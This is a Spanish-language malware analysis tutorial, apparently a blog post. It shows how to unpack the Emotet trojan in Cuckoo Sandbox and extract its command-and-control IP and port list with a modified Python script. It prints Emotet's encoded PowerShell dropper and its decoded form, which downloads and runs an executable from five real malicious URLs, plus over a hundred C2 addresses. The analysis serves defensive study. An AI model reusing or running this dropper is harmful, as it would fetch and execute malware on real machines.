Hoy veremos como desempaquetar el troyano Emotet, ese que se descarga desde las 5 url con el comando de Powershell. Utilizaremos Cuckoo Sandbox y un script para obtener todas las IP y puertos a los que se conectará para recibir instrucciones. ¡Vamos a ello!

Partimos del siguiente fichero Word , el que se envía a los usuarios para que lo abran.

Powershell -w hidden -en JABaAHIAagBrAHcAdwBwAGgAcwBtAHQAaAA9ACcARgBuAG8AYQB
5AGIAZgBoAGkAagBlAHoAJwA7ACQARQBtAHUAcQBnAHMAcQBtAHkAbwAgAD0AIAAnADcAMgA3ACc
AOwAkAEMAdwBsAGUAYQB6AGIAaABjAGsAZAB5AGsAPQAnAFQAbgB0AG8AbQBjAHgAeABxAHgAcAB
yACcAOwAkAFYAeQB0AHEAbgBnAGEAbwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGU
AKwAnAFwAJwArACQARQBtAHUAcQBnAHMAcQBtAHkAbwArACcALgBlAHgAZQAnADsAJABHAHcAZQB
iAGsAcABwAGkAPQAnAFMAZABnAGwAcQB2AGQAdQByAHEAcAByAGcAJwA7ACQARQBuAG8AcgBwAGQ
AZgBqAG0AdwB3AD0AJgAoACcAbgBlAHcALQAnACsAJwBvACcAKwAnAGIAagBlAGMAdAAnACkAIAB
OAGUAVAAuAHcARQBiAGMATABJAEUATgB0ADsAJABIAHQAawB0AHEAeQBlAGIAZwA9ACcAaAB0AHQ
AcAA6AC8ALwB3AHcAdwAuAHQAZQB4AHQAaQBsAGUAcwB1AG4AcgBpAHMAZQAuAGMAbwBtAC8AYQB
uAGoAdQB2AC8AbAB5AG0AagBuAC0AawBwAGMANQA2ADQALQAwADAANQAyAC8AKgBoAHQAdABwAHM
AOgAvAC8AcABhAGsAcwBwAGEAcwBlAHIAdgBpAGMAZQBzAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQB
uAC8AeQBrAHYAcgBnAC0AeQB0ADcANQB5AHgAMQAtADQAMwAvACoAaAB0AHQAcABzADoALwAvAHc
AdwB3AC4AaABlAGwAZQBuAGUAbABhAGcAbgBpAGUAdQAuAGYAcgAvAHcAcAAtAGkAbgBjAGwAdQB
kAGUAcwAvAGwAdgB0AGUAaABkAC0AYwBnADkAcwBkAGIALQA1ADkALwAqAGgAdAB0AHAAOgAvAC8
AbwBuAGQAZQBzAGkAZwBuAHMAdAB1AGQAaQBvAC4AaQBuAC8AcwBpAHQAZQBtAGEAcAAvAGEANQB
yADQAOAB2ADUALQA2AG0AcAB6AC0AMAA5ADMAOAAxADgANwAvACoAaAB0AHQAcABzADoALwAvAHc
AdwB3AC4AbAB1AGIAaQBuAGMAbwAuAGMAbwAuAGkAbAAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwB
MAE0AbgBHAFAAbABqAFEALwAnAC4AIgBzAFAAbABgAEkAVAAiACgAJwAqACcAKQA7ACQAVQBlAHo
AdgBoAGwAaQBzAD0AJwBOAHoAdwB6AGIAYgBsAGwAdwB3AGkAdwBtACcAOwBmAG8AcgBlAGEAYwB
oACgAJABXAHEAbQB3AHkAcQB6AGcAbQBwAHUAIABpAG4AIAAkAEgAdABrAHQAcQB5AGUAYgBnACk
AewB0AHIAeQB7ACQARQBuAG8AcgBwAGQAZgBqAG0AdwB3AC4AIgBkAE8AYABXAE4AbABgAG8AQQB
EAGAARgBJAGwARQAiACgAJABXAHEAbQB3AHkAcQB6AGcAbQBwAHUALAAgACQAVgB5AHQAcQBuAGc
AYQBvACkAOwAkAFQAdQB6AHMAawBvAHEAYQB6AHEAawBxAD0AJwBMAGoAbAB6AHAAZAB3AGcAdgB
wAG8AZQAnADsASQBmACAAKAAoACYAKAAnAEcAZQB0ACcAKwAnAC0ASQB0ACcAKwAnAGUAbQAnACk
AIAAkAFYAeQB0AHEAbgBnAGEAbwApAC4AIgBsAGUAYABOAGcAdABoACIAIAAtAGcAZQAgADIANAA
2ADEANwApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADo
AIgBTAHQAYQBgAFIAVAAiACgAJABWAHkAdABxAG4AZwBhAG8AKQA7ACQAVAB4AHMAcgBhAG4AcQB
pAHoAPQAnAFgAeQB3AGkAcgBrAHkAcQBrACcAOwBiAHIAZQBhAGsAOwAkAFgAdwBkAHgAbgB6AGs
AZQBmAGkAZgB0AGcAPQAnAFkAbQBnAHUAYQBtAGMAaABmAHgAagBtACcAfQB9AGMAYQB0AGMAaAB
7AH0AfQAkAEcAcAB6AHQAdwBhAHcAbgA9ACcAUgB5AHYAcgB5AHIAZgBxACcA

Como bien sabéis, esa cadena codificada en base64 es la que contiene el script de Powershell que contiene las 5 url.

$ echo -n "JABaAHIAagBrAHcAdwBwAGgAcwBtAHQAaAA9ACcARgBuAG8AYQB5AGIAZgBoAGkAa
gBlAHoAJwA7ACQARQBtAHUAcQBnAHMAcQBtAHkAbwAgAD0AIAAnADcAMgA3ACcAOwAkAEMAdwBsA
GUAYQB6AGIAaABjAGsAZAB5AGsAPQAnAFQAbgB0AG8AbQBjAHgAeABxAHgAcAByACcAOwAkAFYAe
QB0AHEAbgBnAGEAbwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArA
CQARQBtAHUAcQBnAHMAcQBtAHkAbwArACcALgBlAHgAZQAnADsAJABHAHcAZQBiAGsAcABwAGkAP
QAnAFMAZABnAGwAcQB2AGQAdQByAHEAcAByAGcAJwA7ACQARQBuAG8AcgBwAGQAZgBqAG0AdwB3A
D0AJgAoACcAbgBlAHcALQAnACsAJwBvACcAKwAnAGIAagBlAGMAdAAnACkAIABOAGUAVAAuAHcAR
QBiAGMATABJAEUATgB0ADsAJABIAHQAawB0AHEAeQBlAGIAZwA9ACcAaAB0AHQAcAA6AC8ALwB3A
HcAdwAuAHQAZQB4AHQAaQBsAGUAcwB1AG4AcgBpAHMAZQAuAGMAbwBtAC8AYQBuAGoAdQB2AC8Ab
AB5AG0AagBuAC0AawBwAGMANQA2ADQALQAwADAANQAyAC8AKgBoAHQAdABwAHMAOgAvAC8AcABhA
GsAcwBwAGEAcwBlAHIAdgBpAGMAZQBzAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8AeQBrAHYAc
gBnAC0AeQB0ADcANQB5AHgAMQAtADQAMwAvACoAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AaABlA
GwAZQBuAGUAbABhAGcAbgBpAGUAdQAuAGYAcgAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAGwAd
gB0AGUAaABkAC0AYwBnADkAcwBkAGIALQA1ADkALwAqAGgAdAB0AHAAOgAvAC8AbwBuAGQAZQBzA
GkAZwBuAHMAdAB1AGQAaQBvAC4AaQBuAC8AcwBpAHQAZQBtAGEAcAAvAGEANQByADQAOAB2ADUAL
QA2AG0AcAB6AC0AMAA5ADMAOAAxADgANwAvACoAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbAB1A
GIAaQBuAGMAbwAuAGMAbwAuAGkAbAAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBMAE0AbgBHAFAAb
ABqAFEALwAnAC4AIgBzAFAAbABgAEkAVAAiACgAJwAqACcAKQA7ACQAVQBlAHoAdgBoAGwAaQBzA
D0AJwBOAHoAdwB6AGIAYgBsAGwAdwB3AGkAdwBtACcAOwBmAG8AcgBlAGEAYwBoACgAJABXAHEAb
QB3AHkAcQB6AGcAbQBwAHUAIABpAG4AIAAkAEgAdABrAHQAcQB5AGUAYgBnACkAewB0AHIAeQB7A
CQARQBuAG8AcgBwAGQAZgBqAG0AdwB3AC4AIgBkAE8AYABXAE4AbABgAG8AQQBEAGAARgBJAGwAR
QAiACgAJABXAHEAbQB3AHkAcQB6AGcAbQBwAHUALAAgACQAVgB5AHQAcQBuAGcAYQBvACkAOwAkA
FQAdQB6AHMAawBvAHEAYQB6AHEAawBxAD0AJwBMAGoAbAB6AHAAZAB3AGcAdgBwAG8AZQAnADsAS
QBmACAAKAAoACYAKAAnAEcAZQB0ACcAKwAnAC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAFYAeQB0A
HEAbgBnAGEAbwApAC4AIgBsAGUAYABOAGcAdABoACIAIAAtAGcAZQAgADIANAA2ADEANwApACAAe
wBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAHQAYQBgA
FIAVAAiACgAJABWAHkAdABxAG4AZwBhAG8AKQA7ACQAVAB4AHMAcgBhAG4AcQBpAHoAPQAnAFgAe
QB3AGkAcgBrAHkAcQBrACcAOwBiAHIAZQBhAGsAOwAkAFgAdwBkAHgAbgB6AGsAZQBmAGkAZgB0A
GcAPQAnAFkAbQBnAHUAYQBtAGMAaABmAHgAagBtACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEcAc
AB6AHQAdwBhAHcAbgA9ACcAUgB5AHYAcgB5AHIAZgBxACcA" | base64 -d
$Zrjkwwphsmth='Fnoaybfhijez';$Emuqgsqmyo = '727';$Cwleazbhckdyk='Tntomcxxqxp
r';$Vytqngao=$env:userprofile+'\'+$Emuqgsqmyo+'.exe';$Gwebkppi='Sdglqvdurqpr
g';$Enorpdfjmww=&('new-'+'o'+'bject') NeT.wEbcLIENt;$Htktqyebg='http://www.t
extilesunrise.com/anjuv/lymjn-kpc564-0052/*https://pakspaservices.com/cgi-bi
n/ykvrg-yt75yx1-43/*https://www.helenelagnieu.fr/wp-includes/lvtehd-cg9sdb-5
9/*http://ondesignstudio.in/sitemap/a5r48v5-6mpz-0938187/*https://www.lubinc
o.co.il/wp-content/LMnGPljQ/'."sPl`IT"('*');$Uezvhlis='Nzwzbbllwwiwm';foreac
h($Wqmwyqzgmpu in $Htktqyebg){try{$Enorpdfjmww."dO`WNl`oAD`FIlE"($Wqmwyqzgmp
u, $Vytqngao);$Tuzskoqazqkq='Ljlzpdwgvpoe';If ((&('Get'+'-It'+'em') $Vytqnga
o)."le`Ngth" -ge 24617) {[Diagnostics.Process]::"Sta`RT"($Vytqngao);$Txsranq
iz='Xywirkyqk';break;$Xw
dxnzkefiftg='Ymguamchfxjm'}}catch{}}$Gpztwawn='Ryvryrfq'

La variable “$Htktqyebg” contiene las url separadas por asterisco.

$Htktqyebg='http://www.textilesunrise.com/anjuv/lymjn-kpc564-0052/*https://pakspaservices.com/cgi-bin/ykvrg-yt75yx1-43/*https://www.helenelagnieu.fr/wp-includes/lvtehd-cg9sdb-59/*http://ondesignstudio.in/sitemap/a5r48v5-6mpz-0938187/*https://www.lubinco.co.il/wp-content/LMnGPljQ/'."sPl`IT"('*');

En este caso se descargaría y guardaría como “727.exe” y se ejecutaría.

$Emuqgsqmyo = '727';$Cwleazbhckdyk='Tntomcxxqxpr';$Vytqngao=$env:userprofile+'\'+$Emuqgsqmyo+'.exe';

Este es el que vamos a desempaquetar con el Cuckoo Sandbox para poder tratarlo y obtener un listado de Ips y puertos a los que se conectará. Si no funciona el primero irá al segundo y así sucesivamente. Esto es lo que se vería sobre esta ejecución en el Cuckoo Sandbox.

Instrucciones Cuckoo

En la pestaña de “Dropped Files” podemos descargarlo.

Dropp File Cuckoo

Aquí lo tenéis en Virus Total. La mayoría de Antivirus tienen claro que es Emotet, pero este realmente no es el Emotet final, es el contenedor. Queremos obtener el final y para ello Cuckoo nos es muy útil. Sólo hay que marcar un check para que esto funcione de la manera óptima y podamos tener acceso a él. Activar la opción de “Process Memory Dump”.

Process Memory Dump

Al activarla podemos tener acceso a la memoria y sacar de ella el binario final. No nos lo van a poner fácil, no está accesible directamente como un binario PE, no esperéis que empiece por “MZ”. Hay que tratarlo. Lo bueno es que sabemos su tamaño, unos 65 Kb aprox. Son muchos los que he podido desempaquetar y siempre son iguales, la diferencia, las IPs y puertos.

En la parte de “Process Memory” del Cuckoo Sandbox, podemos ver los PID (identificadores de proceso).

Memoria Cuckoo

Y dentro de ellos aparecen las direcciones de memoria donde se ejecuta el código dentro de cada proceso.

Direcciones Memoria Cuckoo

Como podéis ver, es importante el tamaño y los permisos de ejecución. Este sería nuestro candidato.

Tamaño Grande memoria Cuckoo

El tamaño en el Cuckoo Sandbox es siempre el mismo “0x00011000”. Recordad que no está el binario tal cual, hay más. Los permisos tienen que ser siempre RWX, necesita ejecutarlo en memoria. Con estos datos, siempre hay 1 único candidato en el proceso.

Si nos vamos al principio del fichero descargado, vemos que no comienza por MZ (magic number).

Inicio Dump Emotet

Seguimos bajando y aquí lo tenemos:

Empieza MZ Emotet

Ese es el Emotet final. Lo más rápido (que no lo más óptimo) es eliminar todo lo que hay antes del MZ y guardarlo.

Eliminamos Anterior a MZ Emotet

Hay un artículo muy bueno que hablan de Emotet, recomiendo su lectura sin duda, y del que vamos a utilizar un script que publicaron ahí, con una modificación para poder obtener los puertos. Si está hecho, no hay que reinventar la rueda.

El script se puede descargar aquí

Las diferencias con el script original ( Gracias Chema F.) son estas:

Script Obtención de IPs Emotet

Ahora, solamente hay que utilizar este script y ver el resultado.

$ python get_config_mod.py --sample 1980_3c0000_fixed.dmp 
Emotet 2019 - Get Configuration Tools
	   by mekhalleh [www.pirates.re]

	   Modified by Rafa, Thanks to Chema F.

========================================
filename:	1980_3c0000_fixed.dmp
Size:		66.7 Kb
Architecture	0x14c

MD5:		79875dac587df3efa6dec033f9628af7
SHA1:		f6c8c48ec6d28555400f139ec07b422bf3d153f4
SHA256:		e0a1f4166fe141baa93c09decfd150aba2b24751b8ffb3efe9e67e395386e795

emotet:		$emotet_v6
signature:	0x5457 (at offset)

========================================
[+] IP adresses list
----------------------------------------
 0x6AF1B262	<->	98.178.241.106:80
 0x8B99ABBE	<->	190.171.153.139:80
 0xC7605B3	<->	179.5.118.12:8080
 0xE84B4F2D	<->	45.79.75.232:8080
 0x85AF967C	<->	124.150.175.133:80
 0x927344A4	<->	164.68.115.146:8080
 0x6294BD05	<->	5.189.148.98:8080
 0xD780692E	<->	46.105.128.215:8080
 0x4EC4FE43	<->	67.254.196.78:443
 0x56CFD85F	<->	95.216.207.86:7080
 0x26B02EB5	<->	181.46.176.38:80
 0xE28C0F62	<->	98.15.140.226:80
 0xE2460CD9	<->	217.12.70.226:80
 0x3A5BB373	<->	115.179.91.58:80
 0x5A94BE29	<->	41.190.148.90:80
 0x5A2E90A2	<->	162.144.46.90:8080
 0x6569DAD3	<->	211.218.105.101:80
 0x1B0E81D4	<->	212.129.14.27:8080
 0x59533378	<->	120.51.83.89:443
 0x457929C8	<->	200.41.121.69:443
 0xD8F75251	<->	81.82.247.216:80
 0xA38CC58A	<->	138.197.140.163:8080
 0xCCA205BE	<->	190.5.162.204:80
 0xEBBE6D55	<->	85.109.190.235:443
 0xC4254BD8	<->	216.75.37.196:8080
 0xD64A4D29	<->	41.77.74.214:443
 0x6D7B0656	<->	86.6.123.109:80
 0xCAADA0CB	<->	203.160.173.202:80
 0x9A530D3	<->	211.48.165.9:443
 0xF6A7459E	<->	158.69.167.246:8080
 0x7406112E	<->	46.17.6.116:8080
 0xCA7A1B18	<->	24.27.122.202:80
 0x5DF067B1	<->	177.103.240.93:80
 0x5AA18E6E	<->	110.142.161.90:80
 0x2C09B86C	<->	108.184.9.44:80
 0x4483692E	<->	46.105.131.68:8080
 0x9ACC2AD3	<->	211.42.204.154:80
 0x19183B25	<->	37.59.24.25:8080
 0xFE1D759	<->	89.215.225.15:80
 0x8ECFFD17	<->	23.253.207.142:8080
 0x2DFC26BE	<->	190.38.252.45:443
 0x6D4E7432	<->	50.116.78.109:8080
 0x7AECCB5E	<->	94.203.236.122:80
 0xD3E04656	<->	86.70.224.211:80
 0xD9639AE	<->	174.57.150.13:8080
 0x6B834625	<->	37.70.131.107:80
 0xE8A39B9C	<->	156.155.163.232:80
 0xEB7170D4	<->	212.112.113.235:80
 0x4ADBEB55	<->	85.235.219.74:80
 0x61714D33	<->	51.77.113.97:8080
 0x85572E4E	<->	78.46.87.133:8080
 0x9E7047C8	<->	200.71.112.158:53
 0x4F0FC4C9	<->	201.196.15.79:990
 0x3F43A1BE	<->	190.161.67.63:80
 0xB0C3BA70	<->	112.186.195.176:80
 0x17379252	<->	82.146.55.23:7080
 0x46CCBB4E	<->	78.187.204.70:80
 0xCD86E6BC	<->	188.230.134.205:80
 0x9C83DBD	<->	189.61.200.9:443
 0xB68FFAC3	<->	195.250.143.182:80
 0xD7812E25	<->	37.46.129.215:8080
 0x19A7F4B9	<->	185.244.167.25:443
 0x94975D3A	<->	58.93.151.148:80
 0x56A1E542	<->	66.229.161.86:443
 0xF30B2664	<->	100.38.11.243:80
 0x9CDE105C	<->	92.16.222.156:80
 0x448C7FAF	<->	175.127.140.68:80
 0x64FBB7C9	<->	201.183.251.100:80
 0x42A49E3B	<->	59.158.164.66:443
 0x32EF67AF	<->	175.103.239.50:80
 0xB2D899CB	<->	203.153.216.178:7080
 0xBEE3789A	<->	154.120.227.190:443
 0x81AF967C	<->	124.150.175.129:8080
 0xCB862633	<->	51.38.134.203:8080
 0xD1D41B48	<->	72.27.212.209:8080
 0x7541E0D2	<->	210.224.65.117:80
 0x14365C80	<->	128.92.54.20:80
 0xB51F755B	<->	91.117.31.181:80
 0xA2CD1E45	<->	69.30.205.162:7080
 0xC6575D8E	<->	142.93.87.198:8080
 0xC366BA4E	<->	78.186.102.195:80
 0x7692ABD2	<->	210.171.146.118:80
 0x698290B1	<->	177.144.130.105:443
 0xEE0186B2	<->	178.134.1.238:80
 0xABD3E1BD	<->	189.225.211.171:443
 0x71D25DBE	<->	190.93.210.113:80
 0x581D4EDC	<->	220.78.29.88:80
 0xC89464A5	<->	165.100.148.200:8080
 0x1B993348	<->	72.51.153.27:80
 0x9DD4D85F	<->	95.216.212.157:8080
 0xC91864BF	<->	191.100.24.201:50000
 0x525CFABB	<->	187.250.92.82:80
 0x12E0B93A	<->	58.185.224.18:80
 0xED8BB5D9	<->	217.181.139.237:443
 0x9F589C53	<->	83.156.88.159:80
 0x6E3B9ADD	<->	221.154.59.110:80
 0x5CF44F52	<->	82.79.244.92:80
 0x81205EC5	<->	197.94.32.129:8080
 0x5423A7B5	<->	181.167.35.84:80
 0xE7C0332A	<->	42.51.192.231:8080
 0x21873471	<->	113.52.135.33:7080
 0x6C5E11BE	<->	190.17.94.108:443
 0x5ED9D2C0	<->	192.210.217.94:8080
 0x53EC2FBE	<->	190.47.236.83:80
 0x7B5D3AB0	<->	176.58.93.123:80
 0xC8D9095F	<->	95.9.217.200:8080
 0x3F0C3B8B	<->	139.59.12.63:8080
 0xBA26EA60	<->	96.234.38.186:8080
 0xBC0FA552	<->	82.165.15.188:8080
 0xD02621C1	<->	193.33.38.208:443
 0x4E1AF758	<->	88.247.26.78:80
 0xF7B50957	<->	87.9.181.247:80
 0x39D6256	<->	86.98.157.3:80
 0xABBEA1C0	<->	192.161.190.171:8080
 0xA476026E	<->	110.2.118.164:80
 0x598CFF5F	<->	95.255.140.89:443
 0x5EBE6F29	<->	41.111.190.94:80
 0x7061ACA3	<->	163.172.97.112:8080
 0x88AD54BA	<->	186.84.173.136:8080
 0xDCA06FD2	<->	210.111.160.220:80
 0x8B74B0B6	<->	182.176.116.139:995
 0xCF4668AC	<->	172.104.70.207:8080
 0x47B21C18	<->	24.28.178.71:80
 0xAA5765BE	<->	190.101.87.170:80
 0xB7DCF1C0	<->	192.241.220.183:8080
 0x7A83755B	<->	91.117.131.122:80
 0xDDD00E45	<->	69.14.208.221:80

Y ya tenemos el conjunto de puertos e IPs que utilizará el troyano Emotet.

Todo el proceso puede durar unos 5 minutos, si va bien la cosa, una vez que lo tienes todo preparado y dispuesto.

Espero que os sirva.

¡¡Hasta otra!!